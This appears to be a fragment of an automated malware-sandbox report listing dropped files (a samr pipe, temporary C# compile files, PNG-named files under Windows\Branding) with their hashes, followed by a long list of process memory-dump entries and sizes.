e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\??\PIPE\samr
MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\??\PIPE\samr
MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\??\PIPE\samr
MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\y5gcas42\CSCFED9B878BC254945A0E6116796FD6B3.TMP
MD5
b221bde29aa87fef0182d0d8cfe59c94

SHA1
3790da2eb1285b9d84185122e5a9ad5791262a12

SHA256
4c2d21d2730e5c3e9a58001ebfbf797f4955b264f7446883c3ee9d3bc45388c3

SHA512
ca06f87680282504fc55205066574b65b5dd19b64de9b6fc98dcb533584fbc8d7f362fcd1884faa3bb2f37b3e5e7eb321b787ab231d863439fe315965c2841fe

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\y5gcas42\y5gcas42.0.cs
MD5
8e55cb0ca998472ab6d3e295e0c4dd50

SHA1
407d07a29b89fc3afc246c0680d5857e3f51019d

SHA256
63e03eacae29a0d2187103f57a01a5e92ecb3b83a0452e05926303ab57a86685

SHA512
c51982ecdad9a366544cfb68a52808f6a54ed45c1e5b384c0ac5354fe713c18a16c90ee57e0d018caad02f7f293677c62f4c8a9a51bdea143f3afe593172bd28

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\y5gcas42\y5gcas42.cmdline
MD5
7685af13cd99e2d08be08c8584d278e3

SHA1
488e3cff73d248031b74e10ebb5049502cf18406

SHA256
1cbce2e2952f6c698addabee067825ce5973b39a5ebdcbf024b4579193314be8

SHA512
875e26ef9d9a33b65396569ac3e4a6adfbf30936eab26c3c7d016519d519d69977181f12b7da421e95ef246cc8e12245abe2438f2adb0d33b0dd486b904df413

Download Submit
\Windows\Branding\mediasrv.png
MD5
37fb7ba711ffbe9d6ebb27d54e827966

SHA1
4d4d9303e011bcb14720b24239a1aacd58122f47

SHA256
81b857da0878a957125253a0a5eb80d64c7ab9826797304813d8ed3c3e7f84c5

SHA512
3f0358b9e7d89fba96e6e9bbe804c26b886a4678a6aa49bc2e784bf180b86c863e3e9a54da71f6856f5b4bb7d28b4e56269dbf31015fdba3b4b808eb66e3aedf

Download Submit
\Windows\Branding\mediasvc.png
MD5
2f916498a393e2f0d008d33a74c062ba

SHA1
404d52d4253ef3843ae3f2c4aff050f37fcd3f08

SHA256
d5038b5227bc35e157dd225c7bb54f0bcf3ba8d8b48cbb930b4ccb65c23d3412

SHA512
d952a820a966c6cadc1750947d053d01e4e6476d074b6cd460555cc9f8417bd7412beebb65cfa8a121edcce9aab110a5909251146fce703d1b4e984788486f10

Download Submit
memory/316-132-0x0000000000000000-mapping.dmp

Download
memory/364-116-0x0000000000000000-mapping.dmp

Download
memory/364-96-0x0000000000000000-mapping.dmp

Download
memory/416-129-0x0000000000000000-mapping.dmp

Download
memory/520-100-0x0000000000000000-mapping.dmp

Download
memory/548-111-0x0000000000000000-mapping.dmp

Download
memory/684-92-0x0000000000000000-mapping.dmp

Download
memory/728-98-0x0000000000000000-mapping.dmp

Download
memory/728-128-0x0000000000000000-mapping.dmp

Download
memory/744-95-0x0000000000000000-mapping.dmp

Download
memory/756-3-0x000007FEF5FA0000-0x000007FEF698C000-memory.dmp

Filesize
9.9MB

Download
memory/756-4-0x00000000022D0000-0x00000000022D1000-memory.dmp

Filesize
4KB

Download
memory/756-21-0x0000000002870000-0x0000000002871000-memory.dmp

Filesize
4KB

Download
memory/756-20-0x000000001B620000-0x000000001B621000-memory.dmp

Filesize
4KB

Download
memory/756-19-0x000000001AB60000-0x000000001AB61000-memory.dmp

Filesize
4KB

Download
memory/756-18-0x000000001A940000-0x000000001A941000-memory.dmp

Filesize
4KB

Download
memory/756-17-0x0000000002320000-0x0000000002321000-memory.dmp

Filesize
4KB

Download
memory/756-2-0x0000000000000000-mapping.dmp

Download
memory/756-9-0x000000001BB40000-0x000000001BB41000-memory.dmp

Filesize
4KB

Download
memory/756-7-0x00000000026A0000-0x00000000026A1000-memory.dmp

Filesize
4KB

Download
memory/756-6-0x00000000024B0000-0x00000000024B1000-memory.dmp

Filesize
4KB

Download
memory/756-5-0x000000001AD70000-0x000000001AD71000-memory.dmp

Filesize
4KB

Download
memory/776-87-0x0000000000000000-mapping.dmp

Download
memory/820-64-0x000000001B8A0000-0x000000001B8A1000-memory.dmp

Filesize
4KB

Download
memory/820-22-0x0000000000000000-mapping.dmp

Download
memory/820-33-0x0000000002660000-0x0000000002661000-memory.dmp

Filesize
4KB

Download
memory/820-78-0x000000001AD20000-0x000000001AD21000-memory.dmp

Filesize
4KB

Download
memory/820-38-0x0000000002240000-0x0000000002241000-memory.dmp

Filesize
4KB

Download
memory/820-77-0x000000001AD10000-0x000000001AD11000-memory.dmp

Filesize
4KB

Download
memory/820-24-0x000007FEF5FA0000-0x000007FEF698C000-memory.dmp

Filesize
9.9MB

Download
memory/820-28-0x00000000023A0000-0x00000000023A1000-memory.dmp

Filesize
4KB

Download
memory/896-133-0x0000000000000000-mapping.dmp

Download
memory/896-99-0x0000000000000000-mapping.dmp

Download
memory/916-123-0x0000000000000000-mapping.dmp

Download
memory/936-108-0x0000000000000000-mapping.dmp

Download
memory/964-40-0x0000000000000000-mapping.dmp

Download
memory/964-42-0x000007FEF5FA0000-0x000007FEF698C000-memory.dmp

Filesize
9.9MB

Download
memory/1000-89-0x0000000000000000-mapping.dmp

Download
memory/1060-101-0x0000000000000000-mapping.dmp

Download
memory/1068-91-0x0000000000000000-mapping.dmp

Download
memory/1068-125-0x0000000000000000-mapping.dmp

Download
memory/1108-102-0x0000000000000000-mapping.dmp

Download
memory/1292-10-0x0000000000000000-mapping.dmp

Download
memory/1312-112-0x0000000000000000-mapping.dmp

Download
memory/1320-1-0x00000000009F0000-0x0000000000A01000-memory.dmp

Filesize
68KB

Download
memory/1320-0-0x00000000006F0000-0x00000000009E1000-memory.dmp

Filesize
2.9MB

Download
memory/1352-32-0x0000000000000000-mapping.dmp

Download
memory/1352-35-0x000007FEF5FA0000-0x000007FEF698C000-memory.dmp

Filesize
9.9MB

Download
memory/1380-114-0x0000000000000000-mapping.dmp

Download
memory/1560-122-0x0000000000000000-mapping.dmp

Download
memory/1588-103-0x0000000000000000-mapping.dmp

Download
memory/1592-120-0x0000000000000000-mapping.dmp

Download
memory/1608-119-0x0000000000000000-mapping.dmp

Download
memory/1612-106-0x0000000000000000-mapping.dmp

Download
memory/1612-13-0x0000000000000000-mapping.dmp

Download
memory/1660-93-0x0000000000000000-mapping.dmp

Download
memory/1680-105-0x0000000000000000-mapping.dmp

Download
memory/1716-126-0x0000000000000000-mapping.dmp

Download
memory/1716-94-0x0000000000000000-mapping.dmp

Download
memory/1736-117-0x0000000000000000-mapping.dmp

Download
memory/1736-97-0x0000000000000000-mapping.dmp

Download
memory/1764-90-0x0000000000000000-mapping.dmp

Download
memory/1784-107-0x0000000000000000-mapping.dmp

Download
memory/1952-104-0x0000000000000000-mapping.dmp

Download
memory/1964-113-0x0000000000000000-mapping.dmp

Download